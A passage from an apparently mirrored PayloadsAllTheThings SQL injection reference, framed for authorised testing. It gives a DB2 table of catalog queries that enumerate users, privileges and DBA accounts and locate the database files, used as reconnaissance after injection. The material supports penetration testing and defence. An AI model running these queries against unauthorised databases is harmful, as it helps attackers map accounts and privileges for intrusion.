SQL Injection · passage 49 of 186

DB2 Injection: DB2 Accounts and Privileges

Text · SQL Injection/DB2 Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

| Description | SQL Query | | -------------------- | -------------------------------------------------------------------------------- | | List users | `select distinct(grantee) from sysibm.systabauth` | | List users | `select distinct(definer) from syscat.schemata` | | List users | `select distinct(authid) from sysibmadm.privileges` | | List users | `select grantee from syscat.dbauth` | | List privileges | `select * from syscat.tabauth` | | List privileges | `select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies` | | List DBA accounts | `select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'` | | List DBA accounts | `select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'` | | Location of DB files | `select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'` |

Every one of the 186 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.